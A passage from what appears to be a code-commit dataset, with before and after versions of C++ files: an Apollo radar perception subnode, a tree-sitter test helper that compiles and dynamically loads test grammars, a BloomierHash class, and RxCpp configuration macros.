{\n AERROR << \"Failed to Init HDMapInput\";\n return false;\n }\n AINFO << \"Get and Init hdmap_input succ.\";\n }\n\n return true;\n}\n\nbool RadarProcessSubnode::InitAlgorithmPlugin() {\n \/\/\/ init roi filter\n roi_filter_.reset(new HdmapROIFilter());\n if (!roi_filter_->Init()) {\n AERROR << \"Failed to Init roi filter: \" << roi_filter_->name();\n return false;\n }\n AINFO << \"Init algorithm plugin successfully, roi_filter_: \"\n << roi_filter_->name();\n\n \/\/\/ init radar detector\n radar_detector_.reset(BaseRadarDetectorRegisterer::GetInstanceByName(\n FLAGS_onboard_radar_detector));\n if (!radar_detector_) {\n AERROR << \"Failed to get instance: \" << FLAGS_onboard_radar_detector;\n return false;\n }\n if (!radar_detector_->Init()) {\n AERROR << \"Failed to Init radar detector: \" << radar_detector_->name();\n return false;\n }\n AINFO << \"Init algorithm plugin successfully, radar detecor: \"\n << radar_detector_->name();\n return true;\n}\n\nvoid RadarProcessSubnode::PublishDataAndEvent(\n double timestamp, const SharedDataPtr<SensorObjects> &data) {\n \/\/ set shared data\n std::string key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id_, &key)) {\n AERROR << \"Failed to produce shared key. time: \"\n << GLOG_TIMESTAMP(timestamp) << \", device_id: \" << device_id_;\n return;\n }\n\n radar_data_->Add(key, data);\n \/\/ pub events\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id_;\n event_manager_->Publish(event);\n }\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<commit_msg>Perception: fixed compiling warning (#3669)<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/perception\/obstacle\/onboard\/radar_process_subnode.h\"\n\n#include <algorithm>\n#include <string>\n#include <unordered_map>\n#include \"Eigen\/Core\"\n#include \"eigen_conversions\/eigen_msg.h\"\n#include \"pcl_conversions\/pcl_conversions.h\"\n#include \"ros\/include\/ros\/ros.h\"\n\n#include \"modules\/common\/adapters\/adapter_manager.h\"\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/time_util.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/lib\/config_manager\/calibration_config_manager.h\"\n#include \"modules\/perception\/lib\/config_manager\/config_manager.h\"\n#include \"modules\/perception\/obstacle\/base\/object.h\"\n#include \"modules\/perception\/obstacle\/radar\/dummy\/dummy_algorithms.h\"\n#include \"modules\/perception\/onboard\/subnode_helper.h\"\n#include \"modules\/perception\/onboard\/transform_input.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing Eigen::Affine3d;\nusing Eigen::Matrix4d;\nusing apollo::common::adapter::AdapterManager;\nusing pcl_util::Point;\nusing pcl_util::PointD;\nusing std::string;\nusing std::unordered_map;\n\nbool RadarProcessSubnode::InitInternal() {\n if (inited_) {\n return true;\n }\n\n RegistAllAlgorithm();\n\n if (!InitFrameDependence()) {\n AERROR << \"failed to Init frame dependence.\";\n return false;\n }\n\n if (!InitAlgorithmPlugin()) {\n AERROR << \"failed to Init algorithm plugin.\";\n return false;\n }\n \/\/ parse reserve fileds\n unordered_map<string, string> reserve_field_map;\n if (!SubnodeHelper::ParseReserveField(reserve_, &reserve_field_map)) {\n AERROR << \"Failed to parse reserve filed: \" << reserve_;\n return false;\n }\n\n if (reserve_field_map.find(\"device_id\") == reserve_field_map.end()) {\n AERROR << \"Failed to find field device_id, reserve: \" << reserve_;\n return false;\n }\n device_id_ = reserve_field_map[\"device_id\"];\n\n CHECK(AdapterManager::GetContiRadar()) << \"Radar is not initialized.\";\n AdapterManager::AddContiRadarCallback(&RadarProcessSubnode::OnRadar, this);\n CHECK(AdapterManager::GetLocalization()) << \"Localiztion is not initialized.\";\n AdapterManager::AddLocalizationCallback(&RadarProcessSubnode::OnLocalization,\n this);\n localization_buffer_.set_capacity(FLAGS_localization_buffer_size);\n std::string radar_extrinstic_path = FLAGS_radar_extrinsic_file;\n AINFO << \"radar extrinsic path: \" << radar_extrinstic_path;\n Eigen::Affine3d radar_extrinsic;\n if (!LoadExtrinsic(radar_extrinstic_path, &radar_extrinsic)) {\n AERROR << \"Failed to load extrinsic.\";\n return false;\n }\n radar_extrinsic_ = radar_extrinsic.matrix();\n AINFO << \"get radar extrinsic succ. pose: \\n\" << radar_extrinsic_;\n\n std::string short_camera_extrinsic_path = FLAGS_short_camera_extrinsic_file;\n AINFO << \"short camera extrinsic path: \" << short_camera_extrinsic_path;\n Eigen::Affine3d short_camera_extrinsic;\n if (!LoadExtrinsic(short_camera_extrinsic_path, &short_camera_extrinsic)) {\n AERROR << \"Failed to load extrinsic.\";\n return false;\n }\n short_camera_extrinsic_ = short_camera_extrinsic.matrix();\n AINFO << \"get short camera extrinsic succ. pose: \\n\"\n << short_camera_extrinsic_;\n inited_ = true;\n\n return true;\n}\n\nvoid RadarProcessSubnode::OnRadar(const ContiRadar &radar_obs) {\n PERF_FUNCTION(\"RadarProcess\");\n ContiRadar radar_obs_proto = radar_obs;\n double timestamp = radar_obs_proto.header().timestamp_sec();\n double unix_timestamp = timestamp;\n const double cur_time = common::time::Clock::NowInSeconds();\n const double start_latency = (cur_time - unix_timestamp) * 1e3;\n ADEBUG << \"FRAME_STATISTICS: Radar:Start:msg_time[\"\n << GLOG_TIMESTAMP(timestamp) << \"]:cur_time[\"\n << GLOG_TIMESTAMP(cur_time) << \"]:cur_latency[\" << start_latency\n << \"]\";\n \/\/ 0. correct radar timestamp\n timestamp -= 0.07;\n auto *header = radar_obs_proto.mutable_header();\n header->set_timestamp_sec(timestamp);\n header->set_radar_timestamp(timestamp * 1e9);\n\n conti_id_expansion_.UpdateTimestamp(timestamp);\n conti_id_expansion_.ExpandIds(&radar_obs_proto);\n\n if (fabs(timestamp - 0.0) < 10e-6) {\n AERROR << \"Error timestamp: \" << GLOG_TIMESTAMP(timestamp);\n return;\n }\n ADEBUG << \"recv radar msg: [timestamp: \" << GLOG_TIMESTAMP(timestamp)\n << \" num_raw_obstacles: \" << radar_obs_proto.contiobs_size() << \"]\";\n\n \/\/ 1. get radar pose\n std::shared_ptr<Matrix4d> velodyne2world_pose = std::make_shared<Matrix4d>();\n\n ADEBUG << \"use navigation mode \" << FLAGS_use_navigation_mode;\n\n if (!GetVelodyneTrans(timestamp, velodyne2world_pose.get()) &&\n !FLAGS_use_navigation_mode) {\n AERROR << \"Failed to get trans at timestamp: \" << GLOG_TIMESTAMP(timestamp);\n error_code_ = common::PERCEPTION_ERROR_TF;\n return;\n }\n std::shared_ptr<Matrix4d> radar2world_pose = std::make_shared<Matrix4d>();\n std::shared_ptr<Matrix4d> radar2car_pose = std::make_shared<Matrix4d>();\n\n if (!FLAGS_use_navigation_mode) {\n *radar2world_pose =\n *velodyne2world_pose * short_camera_extrinsic_ * radar_extrinsic_;\n ADEBUG << \"get radar trans pose succ. pose: \\n\" << *radar2world_pose;\n\n } else {\n CalibrationConfigManager *config_manager =\n Singleton<CalibrationConfigManager>::get();\n CameraCalibrationPtr calibrator = config_manager->get_camera_calibration();\n \/\/ Eigen::Matrix4d camera_to_car = calibrator->get_camera_extrinsics();\n *radar2car_pose = radar_extrinsic_;\n ADEBUG << \"get radar trans pose succ. pose: \\n\" << *radar2car_pose;\n }\n\n std::vector<PolygonDType> map_polygons;\n RadarDetectorOptions options;\n \/\/ Current Localiztion, radar postion.\n if (!FLAGS_use_navigation_mode) {\n PointD position;\n position.x = (*radar2world_pose)(0, 3);\n position.y = (*radar2world_pose)(1, 3);\n position.z = (*radar2world_pose)(2, 3);\n \/\/ 2. Get map polygons.\n HdmapStructPtr hdmap(new HdmapStruct);\n if (FLAGS_enable_hdmap_input && hdmap_input_ &&\n !hdmap_input_->GetROI(position, FLAGS_front_radar_forward_distance,\n &hdmap)) {\n AWARN << \"Failed to get roi. timestamp: \" << GLOG_TIMESTAMP(timestamp)\n << \" position: [\" << position.x << \", \" << position.y << \", \"\n << position.z << \"]\";\n \/\/ NOTE: if call hdmap failed, using empty map_polygons.\n }\n\n if (roi_filter_ != nullptr) {\n roi_filter_->MergeHdmapStructToPolygons(hdmap, &map_polygons);\n }\n }\n\n \/\/ 3. get car car_linear_speed\n if (!GetCarLinearSpeed(timestamp, &(options.car_linear_speed))) {\n AERROR << \"Failed to call get_car_linear_speed. [timestamp: \"\n << GLOG_TIMESTAMP(timestamp);\n return;\n }\n\n \/\/ 4. Call RadarDetector::detect.\n PERF_BLOCK_START();\n if (!FLAGS_use_navigation_mode) {\n options.radar2world_pose = &(*radar2world_pose);\n } else {\n options.radar2world_pose = &(*radar2car_pose);\n }\n std::shared_ptr<SensorObjects> radar_objects(new SensorObjects);\n radar_objects->timestamp = timestamp;\n radar_objects->sensor_type = SensorType::RADAR;\n radar_objects->sensor2world_pose = *radar2world_pose;\n bool result = radar_detector_->Detect(radar_obs_proto, map_polygons, options,\n &radar_objects->objects);\n if (!result) {\n radar_objects->error_code = common::PERCEPTION_ERROR_PROCESS;\n PublishDataAndEvent(timestamp, radar_objects);\n AERROR << \"Failed to call RadarDetector. [timestamp: \"\n << GLOG_TIMESTAMP(timestamp)\n << \", map_polygons_size: \" << map_polygons.size()\n << \", num_raw_conti_obstacles: \" << radar_obs_proto.contiobs_size()\n << \"]\";\n return;\n }\n PERF_BLOCK_END(\"radar_detect\");\n PublishDataAndEvent(timestamp, radar_objects);\n\n const double end_timestamp = common::time::Clock::NowInSeconds();\n const double end_latency = (end_timestamp - unix_timestamp) * 1e3;\n ADEBUG << \"FRAME_STATISTICS:Radar: End:msg_time[\" << GLOG_TIMESTAMP(timestamp)\n << \"]:cur_time[\" << GLOG_TIMESTAMP(end_timestamp) << \"]:cur_latency[\"\n << end_latency << \"]\";\n ADEBUG << \"radar process succ, there are \" << (radar_objects->objects).size()\n << \" objects.\";\n return;\n}\n\nvoid RadarProcessSubnode::OnLocalization(\n const apollo::localization::LocalizationEstimate &localization) {\n double timestamp = localization.header().timestamp_sec();\n AINFO << \"localization timestamp:\" << GLOG_TIMESTAMP(timestamp);\n LocalizationPair localization_pair;\n localization_pair.first = timestamp;\n localization_pair.second = localization;\n localization_buffer_.push_back(localization_pair);\n}\n\nbool RadarProcessSubnode::GetCarLinearSpeed(double timestamp,\n Eigen::Vector3f *car_linear_speed) {\n MutexLock lock(&mutex_);\n if (car_linear_speed == nullptr) {\n AERROR << \"Param car_linear_speed nullptr error.\";\n return false;\n }\n if (localization_buffer_.empty()) {\n AWARN << \"Rosmsg buffer is empty.\";\n return false;\n }\n if (localization_buffer_.front().first - 0.1 > timestamp) {\n AWARN << \"Timestamp (\" << GLOG_TIMESTAMP(timestamp)\n << \") is earlier than the oldest \"\n << \"timestamp (\" << localization_buffer_.front().first << \").\";\n return false;\n }\n if (localization_buffer_.back().first + 0.1 < timestamp) {\n AWARN << \"Timestamp (\" << GLOG_TIMESTAMP(timestamp)\n << \") is newer than the latest \"\n << \"timestamp (\" << localization_buffer_.back().first << \").\";\n return false;\n }\n \/\/ loop to find nearest\n double distance = 1e9;\n int idx = localization_buffer_.size() - 1;\n for (; idx >= 0; --idx) {\n double temp_distance = fabs(timestamp - localization_buffer_[idx].first);\n if (temp_distance >= distance) {\n break;\n }\n distance = temp_distance;\n }\n\n idx = std::max(0, idx);\n auto velocity = localization_buffer_[idx].second.pose().linear_velocity();\n (*car_linear_speed)[0] = velocity.x();\n (*car_linear_speed)[1] = velocity.y();\n (*car_linear_speed)[2] = velocity.z();\n return true;\n}\n\nvoid RadarProcessSubnode::RegistAllAlgorithm() {\n RegisterFactoryDummyRadarDetector();\n RegisterFactoryModestRadarDetector();\n}\n\nbool RadarProcessSubnode::InitFrameDependence() {\n \/\/\/ init share data\n CHECK(shared_data_manager_ != nullptr) << \"shared_data_manager_ is nullptr\";\n \/\/ init preprocess_data\n const string radar_data_name(\"RadarObjectData\");\n radar_data_ = dynamic_cast<RadarObjectData *>(\n shared_data_manager_->GetSharedData(radar_data_name));\n if (radar_data_ == nullptr) {\n AERROR << \"Failed to get shared data instance \" << radar_data_name;\n return false;\n }\n AINFO << \"Init shared data successfully, data: \" << radar_data_->name();\n\n \/\/\/ init hdmap\n if (FLAGS_enable_hdmap_input) {\n hdmap_input_ = HDMapInput::instance();\n if (!hdmap_input_) {\n AERROR << \"Failed to get HDMapInput instance.\";\n return false;\n }\n if (!hdmap_input_->Init()) {\n AERROR << \"Failed to Init HDMapInput\";\n return false;\n }\n AINFO << \"Get and Init hdmap_input succ.\";\n }\n\n return true;\n}\n\nbool RadarProcessSubnode::InitAlgorithmPlugin() {\n \/\/\/ init roi filter\n roi_filter_.reset(new HdmapROIFilter());\n if (!roi_filter_->Init()) {\n AERROR << \"Failed to Init roi filter: \" << roi_filter_->name();\n return false;\n }\n AINFO << \"Init algorithm plugin successfully, roi_filter_: \"\n << roi_filter_->name();\n\n \/\/\/ init radar detector\n radar_detector_.reset(BaseRadarDetectorRegisterer::GetInstanceByName(\n FLAGS_onboard_radar_detector));\n if (!radar_detector_) {\n AERROR << \"Failed to get instance: \" << FLAGS_onboard_radar_detector;\n return false;\n }\n if (!radar_detector_->Init()) {\n AERROR << \"Failed to Init radar detector: \" << radar_detector_->name();\n return false;\n }\n AINFO << \"Init algorithm plugin successfully, radar detecor: \"\n << radar_detector_->name();\n return true;\n}\n\nvoid RadarProcessSubnode::PublishDataAndEvent(\n double timestamp, const SharedDataPtr<SensorObjects> &data) {\n \/\/ set shared data\n std::string key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id_, &key)) {\n AERROR << \"Failed to produce shared key. time: \"\n << GLOG_TIMESTAMP(timestamp) << \", device_id: \" << device_id_;\n return;\n }\n\n radar_data_->Add(key, data);\n \/\/ pub events\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id_;\n event_manager_->Publish(event);\n }\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>#include \"spec_helper.h\"\n#include \"helpers\/load_language.h\"\n#include <unistd.h>\n#include <dlfcn.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <string>\n#include <fstream>\n#include \"tree_sitter\/compiler.h\"\n\nusing std::string;\nusing std::ofstream;\n\nstatic std::string run_cmd(const char *cmd, const char *args[]) {\n int child_pid = fork();\n if (child_pid < 0)\n return \"fork failed\";\n\n if (child_pid == 0) {\n close(0);\n dup2(1, 0);\n dup2(2, 1);\n dup2(1, 2);\n execvp(cmd, (char * const * )args);\n return \"\";\n }\n\n int status;\n do {\n waitpid(child_pid, &status, 0);\n } while (!WIFEXITED(status));\n\n if (WEXITSTATUS(status) == 0)\n return \"\";\n else\n return \"command failed\";\n\n return \"\";\n}\n\nconst TSLanguage *load_language(const string &name, const TSCompileResult &compile_result) {\n if (compile_result.error_type != TSCompileErrorTypeNone) {\n AssertThat(string(compile_result.error_message), IsEmpty());\n return nullptr;\n }\n\n return load_language(name, compile_result.code);\n}\n\nconst TSLanguage *load_language(const string &name, const string &code) {\n string language_function_name = \"ts_language_\" + name;\n\n static char source_file_template[256] = {};\n snprintf(source_file_template, 256, \"\/tmp\/tree-sitter-test-%sXXXXXXXXX\", name.c_str());\n\n const char *temp_directory = mkdtemp(source_file_template);\n if (!temp_directory) {\n AssertThat(string(\"Failed to create temp directory\"), IsEmpty());\n return nullptr;\n }\n\n string source_filename = string(temp_directory) + \"\/parser.c\";\n string obj_filename = string(source_filename) + \".o\";\n string lib_filename = string(source_filename) + \".so\";\n string header_dir = string(getenv(\"PWD\")) + \"\/include\";\n\n ofstream source_file;\n source_file.open(source_filename);\n source_file << code;\n source_file.close();\n\n const char *compiler_name = getenv(\"CC\");\n if (!compiler_name) {\n compiler_name = \"gcc\";\n }\n\n const char *compile_argv[] = {\n compiler_name,\n \"-x\", \"c\",\n \"-fPIC\",\n \"-I\", header_dir.c_str(),\n \"-c\", source_filename.c_str(),\n \"-o\", obj_filename.c_str(),\n NULL\n };\n string compile_error = run_cmd(\"gcc\", compile_argv);\n if (!compile_error.empty()) {\n AssertThat(string(compile_error), IsEmpty());\n return nullptr;\n }\n\n const char *link_argv[] = {\n compiler_name,\n \"-shared\",\n \"-Wl\", obj_filename.c_str(),\n \"-o\", lib_filename.c_str(),\n NULL\n };\n string link_error = run_cmd(\"gcc\", link_argv);\n if (!link_error.empty()) {\n AssertThat(link_error, IsEmpty());\n return nullptr;\n }\n\n void *parser_lib = dlopen(lib_filename.c_str(), RTLD_NOW);\n if (!parser_lib) {\n std::string message(dlerror());\n AssertThat(message, IsEmpty());\n return nullptr;\n }\n\n void *symbol_value = dlsym(parser_lib, language_function_name.c_str());\n if (!symbol_value) {\n std::string message(dlerror());\n AssertThat(message, IsEmpty());\n return nullptr;\n }\n\n typedef TSLanguage * (* LanguageFunction)();\n LanguageFunction language_fn = reinterpret_cast<LanguageFunction>(symbol_value);\n return language_fn();\n}\n<commit_msg>Compile test grammars w\/ debug symbols<commit_after>#include \"spec_helper.h\"\n#include \"helpers\/load_language.h\"\n#include <unistd.h>\n#include <dlfcn.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <string>\n#include <fstream>\n#include \"tree_sitter\/compiler.h\"\n\nusing std::string;\nusing std::ofstream;\n\nstatic std::string run_cmd(const char *cmd, const char *args[]) {\n int child_pid = fork();\n if (child_pid < 0)\n return \"fork failed\";\n\n if (child_pid == 0) {\n close(0);\n dup2(1, 0);\n dup2(2, 1);\n dup2(1, 2);\n execvp(cmd, (char * const * )args);\n return \"\";\n }\n\n int status;\n do {\n waitpid(child_pid, &status, 0);\n } while (!WIFEXITED(status));\n\n if (WEXITSTATUS(status) == 0)\n return \"\";\n else\n return \"command failed\";\n\n return \"\";\n}\n\nconst TSLanguage *load_language(const string &name, const TSCompileResult &compile_result) {\n if (compile_result.error_type != TSCompileErrorTypeNone) {\n AssertThat(string(compile_result.error_message), IsEmpty());\n return nullptr;\n }\n\n return load_language(name, compile_result.code);\n}\n\nconst TSLanguage *load_language(const string &name, const string &code) {\n string language_function_name = \"ts_language_\" + name;\n\n static char source_file_template[256] = {};\n snprintf(source_file_template, 256, \"\/tmp\/tree-sitter-test-%sXXXXXXXXX\", name.c_str());\n\n const char *temp_directory = mkdtemp(source_file_template);\n if (!temp_directory) {\n AssertThat(string(\"Failed to create temp directory\"), IsEmpty());\n return nullptr;\n }\n\n string source_filename = string(temp_directory) + \"\/parser.c\";\n string obj_filename = string(source_filename) + \".o\";\n string lib_filename = string(source_filename) + \".so\";\n string header_dir = string(getenv(\"PWD\")) + \"\/include\";\n\n ofstream source_file;\n source_file.open(source_filename);\n source_file << code;\n source_file.close();\n\n const char *compiler_name = getenv(\"CC\");\n if (!compiler_name) {\n compiler_name = \"gcc\";\n }\n\n const char *compile_argv[] = {\n compiler_name,\n \"-x\", \"c\",\n \"-fPIC\",\n \"-g\",\n \"-I\", header_dir.c_str(),\n \"-c\", source_filename.c_str(),\n \"-o\", obj_filename.c_str(),\n NULL\n };\n string compile_error = run_cmd(\"gcc\", compile_argv);\n if (!compile_error.empty()) {\n AssertThat(string(compile_error), IsEmpty());\n return nullptr;\n }\n\n const char *link_argv[] = {\n compiler_name,\n \"-shared\",\n \"-Wl\", obj_filename.c_str(),\n \"-o\", lib_filename.c_str(),\n NULL\n };\n string link_error = run_cmd(\"gcc\", link_argv);\n if (!link_error.empty()) {\n AssertThat(link_error, IsEmpty());\n return nullptr;\n }\n\n void *parser_lib = dlopen(lib_filename.c_str(), RTLD_NOW);\n if (!parser_lib) {\n std::string message(dlerror());\n AssertThat(message, IsEmpty());\n return nullptr;\n }\n\n void *symbol_value = dlsym(parser_lib, language_function_name.c_str());\n if (!symbol_value) {\n std::string message(dlerror());\n AssertThat(message, IsEmpty());\n return nullptr;\n }\n\n typedef TSLanguage * (* LanguageFunction)();\n LanguageFunction language_fn = reinterpret_cast<LanguageFunction>(symbol_value);\n return language_fn();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"bloomierHash.h\"\nBloomierHash::BloomierHash(const size_t pModulo, const size_t pNumberOfElements, const size_t pBitVectorSize, const size_t pHashSeed) {\n\tmModulo = pModulo;\n\tmNumberOfElements = pNumberOfElements;\n\tmHash = new Hash();\n\tmBitVectorSize = pBitVectorSize;\n\tmHashSeed = pHashSeed;\n};\nBloomierHash::~BloomierHash() {\n delete mHash;\n};\nbitVector* BloomierHash::getMask(const size_t pKey) {\n\tbitVector* mask = new bitVector(mBitVectorSize);\n\tsize_t randValue = mHash->hash(pKey+1, mHashSeed, mModulo);\n\tfor (size_t i = 0; i < mBitVectorSize; ++i) {\n\t\t(*mask)[i] = static_cast<unsigned char>((randValue >> (8*i)) & 0b00000000000000000000000011111111);\n\t}\n\treturn mask;\n};\nvoid BloomierHash::getKNeighbors(const size_t pElement, const size_t pSeed, vsize_t* pNeighbors) {\n size_t seedValue = pSeed;\n if (seedValue == 0) {\n seedValue = mHashSeed;\n }\n size_t seedChange = 1;\n bitVector* bloomFilterValueSeen = new bitVector(ceil(mModulo\/8.0));\n\tfor (size_t i = 0; i < pNeighbors->size(); ++i) {\n\t\tsize_t neighbor = mHash->hash(pElement+i, seedValue+seedChange, mModulo);\n unsigned char index = floor(neighbor \/ 8.0);\n unsigned char value = 1 << (neighbor % 8);\n unsigned char valueSeen = (*bloomFilterValueSeen)[index] & value;\n while (value == valueSeen) {\n ++seedChange;\n neighbor = mHash->hash(pElement+1, (seedValue+seedChange), mModulo);\n index = floor(neighbor \/ 8.0);\n value = 1 << (neighbor % 8);\n valueSeen = (*bloomFilterValueSeen)[index] & value;\n }\n (*bloomFilterValueSeen)[index] = (*bloomFilterValueSeen)[index] | value;\n \n seedChange = 1;\n\t\t(*pNeighbors)[i] = neighbor;\n\t}\n delete bloomFilterValueSeen;\n};\n\nsize_t BloomierHash::getHashSeed() const {\n\treturn mHashSeed;\n};\n\nvoid BloomierHash::setHashSeed(size_t pHashSeed) {\n\tmHashSeed = pHashSeed;\n}<commit_msg>Changed return type for function getMask from bitVector* to bitVector<commit_after>#include \"bloomierHash.h\"\nBloomierHash::BloomierHash(const size_t pModulo, const size_t pNumberOfElements, const size_t pBitVectorSize, const size_t pHashSeed) {\n\tmModulo = pModulo;\n\tmNumberOfElements = pNumberOfElements;\n\tmHash = new Hash();\n\tmBitVectorSize = pBitVectorSize;\n\tmHashSeed = pHashSeed;\n};\nBloomierHash::~BloomierHash() {\n delete mHash;\n};\nbitVector BloomierHash::getMask(const size_t pKey) {\n\t\/\/ bitVector* mask = new bitVector(mBitVectorSize);\n bitVector mask(mBitVectorSize);\n\tsize_t randValue = mHash->hash(pKey+1, mHashSeed, mModulo);\n\tfor (size_t i = 0; i < mBitVectorSize; ++i) {\n\t\tmask[i] = static_cast<unsigned char>((randValue >> (8*i)) & 0b00000000000000000000000011111111);\n\t}\n\treturn mask;\n};\nvoid BloomierHash::getKNeighbors(const size_t pElement, const size_t pSeed, vsize_t* pNeighbors) {\n size_t seedValue = pSeed;\n if (seedValue == 0) {\n seedValue = mHashSeed;\n }\n size_t seedChange = 1;\n bitVector* bloomFilterValueSeen = new bitVector(ceil(mModulo\/8.0));\n\tfor (size_t i = 0; i < pNeighbors->size(); ++i) {\n\t\tsize_t neighbor = mHash->hash(pElement+i, seedValue+seedChange, mModulo);\n unsigned char index = floor(neighbor \/ 8.0);\n unsigned char value = 1 << (neighbor % 8);\n unsigned char valueSeen = (*bloomFilterValueSeen)[index] & value;\n while (value == valueSeen) {\n ++seedChange;\n neighbor = mHash->hash(pElement+1, (seedValue+seedChange), mModulo);\n index = floor(neighbor \/ 8.0);\n value = 1 << (neighbor % 8);\n valueSeen = (*bloomFilterValueSeen)[index] & value;\n }\n (*bloomFilterValueSeen)[index] = (*bloomFilterValueSeen)[index] | value;\n \n seedChange = 1;\n\t\t(*pNeighbors)[i] = neighbor;\n\t}\n delete bloomFilterValueSeen;\n};\n\nsize_t BloomierHash::getHashSeed() const {\n\treturn mHashSeed;\n};\n\nvoid BloomierHash::setHashSeed(size_t pHashSeed) {\n\tmHashSeed = pHashSeed;\n}<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. See License.txt in the project root for license information.\n\n#pragma once\n\n#if !defined(CPPRX_RX_INCLUDES_HPP)\n#define CPPRX_RX_INCLUDES_HPP\n\n#pragma push_macro(\"min\")\n#pragma push_macro(\"max\")\n#undef min\n#undef max\n\n#include <exception>\n#include <functional>\n#include <memory>\n#include <vector>\n#include <algorithm>\n#include <atomic>\n#include <map>\n#include <mutex>\n#include <deque>\n#include <thread>\n#include <future>\n#include <vector>\n#include <list>\n#include <queue>\n#include <chrono>\n#include <condition_variable>\n\n\/\/ some configuration macros\n#if defined(_MSC_VER)\n\n#if _MSC_VER > 1600 \n#define RXCPP_USE_RVALUEREF 1\n#define RXCPP_USE_VARIADIC_TEMPLATES 0\n#endif\n\n#if _CPPRTTI\n#define RXCPP_USE_RTTI 1\n#endif\n\n#elif defined(__clang__)\n\n#if __has_feature(cxx_rvalue_references)\n#define RXCPP_USE_RVALUEREF 1\n#endif\n#if __has_feature(cxx_rtti)\n#define RXCPP_USE_RTTI 1\n#endif\n#if __has_feature(cxx_variadic_templates)\n#define RXCPP_USE_VARIADIC_TEMPLATES 1\n#endif\n\n#endif\n\n#if !defined(WINAPI_FAMILY) || (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)\n#define RXCPP_USE_WINRT 0\n#else\n#define RXCPP_USE_WINRT 1\n#endif\n\n#if defined(RXCPP_FORCE_USE_VARIADIC_TEMPLATES)\n#undef RXCPP_USE_VARIADIC_TEMPLATES\n#define RXCPP_USE_VARIADIC_TEMPLATES RXCPP_FORCE_USE_VARIADIC_TEMPLATES\n#endif\n\n#if defined(RXCPP_FORCE_USE_RVALUEREF)\n#undef RXCPP_USE_RVALUEREF\n#define RXCPP_USE_RVALUEREF RXCPP_FORCE_USE_RVALUEREF\n#endif\n\n#if defined(RXCPP_FORCE_USE_RTTI)\n#undef RXCPP_USE_RTTI\n#define RXCPP_USE_RTTI RXCPP_FORCE_USE_RTTI\n#endif\n\n#if defined(RXCPP_FORCE_USE_WINRT)\n#undef RXCPP_USE_WINRT\n#define RXCPP_USE_WINRT RXCPP_FORCE_USE_WINRT\n#endif\n\n#include \"rx-util.hpp\"\n#include \"rx-base.hpp\"\n#include \"rx-scheduler.hpp\"\n#include \"rx-windows.hpp\"\n#include \"rx-operators.hpp\"\n#include \"rx-winrt.hpp\"\n\n#pragma pop_macro(\"min\")\n#pragma pop_macro(\"max\")\n\n#endif\n<commit_msg>update _MSC_VER checks for VC2013<commit_after>\/\/ Copyright (c) Microsoft Open Technologies, Inc. All rights reserved. See License.txt in the project root for license information.\n\n#pragma once\n\n#if !defined(CPPRX_RX_INCLUDES_HPP)\n#define CPPRX_RX_INCLUDES_HPP\n\n#pragma push_macro(\"min\")\n#pragma push_macro(\"max\")\n#undef min\n#undef max\n\n#include <exception>\n#include <functional>\n#include <memory>\n#include <vector>\n#include <algorithm>\n#include <atomic>\n#include <map>\n#include <mutex>\n#include <deque>\n#include <thread>\n#include <future>\n#include <vector>\n#include <list>\n#include <queue>\n#include <chrono>\n#include <condition_variable>\n\n\/\/ some configuration macros\n#if defined(_MSC_VER)\n\n#if _MSC_VER > 1600 \n#define RXCPP_USE_RVALUEREF 1\n#endif\n\n#if _MSC_VER >= 1800\n#define RXCPP_USE_VARIADIC_TEMPLATES 1\n#endif\n\n#if _CPPRTTI\n#define RXCPP_USE_RTTI 1\n#endif\n\n#elif defined(__clang__)\n\n#if __has_feature(cxx_rvalue_references)\n#define RXCPP_USE_RVALUEREF 1\n#endif\n#if __has_feature(cxx_rtti)\n#define RXCPP_USE_RTTI 1\n#endif\n#if __has_feature(cxx_variadic_templates)\n#define RXCPP_USE_VARIADIC_TEMPLATES 1\n#endif\n\n#endif\n\n#if !defined(WINAPI_FAMILY) || (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)\n#define RXCPP_USE_WINRT 0\n#else\n#define RXCPP_USE_WINRT 1\n#endif\n\n#if defined(RXCPP_FORCE_USE_VARIADIC_TEMPLATES)\n#undef RXCPP_USE_VARIADIC_TEMPLATES\n#define RXCPP_USE_VARIADIC_TEMPLATES RXCPP_FORCE_USE_VARIADIC_TEMPLATES\n#endif\n\n#if defined(RXCPP_FORCE_USE_RVALUEREF)\n#undef RXCPP_USE_RVALUEREF\n#define RXCPP_USE_RVALUEREF RXCPP_FORCE_USE_RVALUEREF\n#endif\n\n#if defined(RXCPP_FORCE_USE_RTTI)\n#undef RXCPP_USE_RTTI\n#define RXCPP_USE_RTTI RXCPP_FORCE_USE_RTTI\n#endif\n\n#if defined(RXCPP_FORCE_USE_WINRT)\n#undef RXCPP_USE_WINRT\n#define RXCPP_USE_WINRT RXCPP_FORCE_USE_WINRT\n#endif\n\n#include \"rx-util.hpp\"\n#include 